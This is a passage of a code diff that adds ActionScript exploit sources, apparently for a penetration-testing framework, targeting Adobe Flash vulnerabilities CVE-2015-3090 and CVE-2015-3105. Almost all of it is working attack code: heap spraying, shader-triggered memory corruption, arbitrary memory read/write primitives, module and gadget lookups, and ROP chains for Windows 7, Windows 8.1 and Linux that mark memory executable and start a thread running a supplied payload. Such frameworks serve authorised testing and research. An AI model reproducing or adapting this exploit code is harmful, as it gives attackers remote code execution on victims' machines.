= pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/Logger.as b/external/source/exploits/CVE-2015-3090/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/PE.as b/external/source/exploits/CVE-2015-3090/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/exploit.pbj b/external/source/exploits/CVE-2015-3090/exploit.pbj new file mode 100755 index 0000000000..762a6e6bfe Binary files /dev/null and b/external/source/exploits/CVE-2015-3090/exploit.pbj differ diff --git a/external/source/exploits/CVE-2015-3105/Elf.as b/external/source/exploits/CVE-2015-3105/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/Exploit.as b/external/source/exploits/CVE-2015-3105/Exploit.as new file mode 100755 index 0000000000..8e666d6b7a --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Exploit.as @@ -0,0 +1,237 @@ +package +{ + import flash.display.Shader + import flash.display.Sprite + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + import flash.utils.ByteArray + import flash.geom.Point + import flash.utils.Endian + + public class Exploit extends Sprite + { + private var uv:Vector. + private var canvas:Sprite + private var filler_shader:Shader + private var transformation_shader:Shader + private var top_middle:Point + private var bottom_left:Point + private var bottom_right:Point + + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + [Embed ( source="test_bin.pbj", mimeType="application/octet-stream" ) ] + private static var FillerPbj:Class + [Embed ( source="pbsrc_bin.pbj", mimeType="application/octet-stream" ) ] + private static var TransformationPbj:Class + + private var uint_vectors_length:uint = 70000 + private var ba_vector_length:uint = 5000 + private var ba_length:int = 0x2000 + private var uint_vectors:Vector. + private var ba_vector:Vector. + + public function Exploit() + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + canvas = new Sprite() + addChild(canvas) + var size:uint = 400 + + top_middle = new Point(size / 2, 10) + bottom_left = new Point(0, size - 10) + bottom_right = new Point(size, size - 10) + do_exploit() + } + + private function do_exploit():void + { + setup_shaders() + apply_shader_to_exploit() + } + + private function setup_shaders():void + { + transformation_shader = new Shader(new TransformationPbj()) + + ba_vector = new Vector.(ba_vector_length) + uint_vectors = new Vector.(uint_vectors_length) + + // Initialize uint vectors + for(var i:uint = 0; i < uint_vectors_length; i++) // 70000 + { + uint_vectors[i] = new Vector.() + } + + // Allocate Byte Arrays + for(i = 0; i < ba_vector_length; i++) // 5000 + { + ba_vector[i] = new ByteArray() + ba_vector[i].endian = "littleEndian" + ba_vector[i].length = ba_length // 0x2000 + fill_byte_array(ba_vector[i], 0x35555555) + ba_vector[i].writeInt(0xbabefac0) + ba_vector[i].writeInt(0xbabefac1) + ba_vector[i].writeInt(i) + ba_vector[i].writeInt(0xbabefac3) + } + + // Make holes + for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000 + { + fill_byte_array(ba_vector[i], 0x37777777) + ba_vector[i].clear() + ba_vector[i] = null + } + + // Setup shader + filler_shader = new Shader(new FillerPbj()) //test_bin.pbj + filler_shader.data.point1.value = [top_middle.x, top_middle.y] + filler_shader.data.point2.value = [bottom_left.x, bottom_left.y] + filler_shader.data.point3.value = [bottom_right.x, bottom_right.y] + } + + final private function fill_byte_array(ba:ByteArray, value:int):void + { + ba.position = 0 + var i:uint = 0 + while (i < ba.length / 4) + { + ba.writeInt(value) + i = i + 1 + } + ba.position = 0 + return + } + + private function apply_shader_to_exploit():void + { + try { + filler_shader.data.point3 = transformation_shader.data.positionTransformation27 + } catch(err:Error) { + Logger.log("Error!") + } + + filler_shader.data.color1.value = [1, 1, 1, 1] + + // Trigger corruption with the hope of modify one of the sprayed byte arrays + canvas.graphics.clear() + canvas.graphics.beginShaderFill(filler_shader) + canvas.graphics.moveTo(top_middle.x, top_middle.y) + canvas.graphics.lineTo(bottom_left.x, bottom_left.y) + canvas.graphics.lineTo(bottom_right.x, bottom_right.y) + canvas.graphics.endFill() + + // Search the BA whose data has been corrupted + var test:uint + var mod_idx:uint = 0xffffffff + for(var i:uint = 0; i< ba_vector_length; i++) { // 5000 + if (ba_vector[i] != null) { + ba_vector[i].position = 32 + test = ba_vector[i].readUnsignedInt() + if (test != 0x35555555) { + mod_idx = i + break + } + } + } + + if (mod_idx == 0xffffffff) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting") + return + } + + // Clear the modified BA, we need a hole there =) + fill_byte_array(ba_vector[mod_idx], 0x39999999) + ba_vector[mod_idx].clear() + ba_vector[mod_idx] = null + + // Fill the BA space with well positioned Vector.'s, hopefully... + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + uint_vectors[i].length = 0x13e + uint_vectors[i][0] = 0xcccccccc + uint_vectors[i][1] = i + uint_vectors[i][2] = 0xaaaaaaaa + } + + // Corrupt again, hopefully one of our vector lengths =) + canvas.graphics.beginShaderFill(filler_shader) + + var corrupted:uint = 0xffffffff + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length != 0x13e) { + corrupted = i + break + } + } + + if (corrupted == 0xffffffff) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Corrupted vector not found... aborting") + return + } + + var offset:uint = 0xffffffff + for(i = 0; i < 2048; i++) + { + if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc) + { + uint_vectors[corrupted][i] = 0xffffffff + offset = i + break + } + } + + if (offset == 0xffffffff) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting") + return + } + + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length == 0xffffffff) { + uv = uint_vectors[i] + break + } + } + + if (uv == null) { + Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting") + return + } + + var my_offset:uint = 0x3ffffffe - offset - 2 + uv[my_offset] = 0x13e + + for(i = 0; i < ba_vector_length; i++) { // 5000 + if (ba_vector[i] != null) { + ba_vector[i].clear() + ba_vector[i] = null + } + } + + for(i = 0; i < uint_vectors_length; i++) // 70000 + { + if (uint_vectors[i].length != 0xffffffff) { + delete(uint_vectors[i]) + uint_vectors[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) + } + + } +} diff --git a/external/source/exploits/CVE-2015-3105/ExploitByteArray.as b/external/source/exploits/CVE-2015-3105/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/ExploitVector.as b/external/source/exploits/CVE-2015-3105/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/Exploiter.as b/external/source/exploits/CVE-2015-3105/Exploiter.as new file mode 100644 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var 